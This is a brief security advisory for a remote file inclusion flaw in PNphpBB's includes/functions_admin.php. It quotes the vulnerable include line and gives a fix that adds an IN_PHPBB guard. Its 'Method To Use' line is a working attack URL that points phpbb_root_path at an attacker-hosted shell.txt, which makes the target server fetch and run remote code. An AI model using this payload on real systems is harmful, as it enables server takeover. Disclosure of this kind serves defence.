Vendor: http://www.pnphpbb.com/
Vulnerable File: includes/functions_admin.php
Vulnerable Code:
//The phpbb_root_path isn't initialize
include_once( $phpbb_root_path . 'includes/functions.' . $phpEx );
Method To Use:
http://www.victim.com/[pn_phpbb]/includes/functions_admin.php?phpbb_root_path=http://yourdomain.com/shell.txt?
How To Fix:
Add this code before the include
if ( !defined('IN_PHPBB') )
{
die("Hacking attempt");
}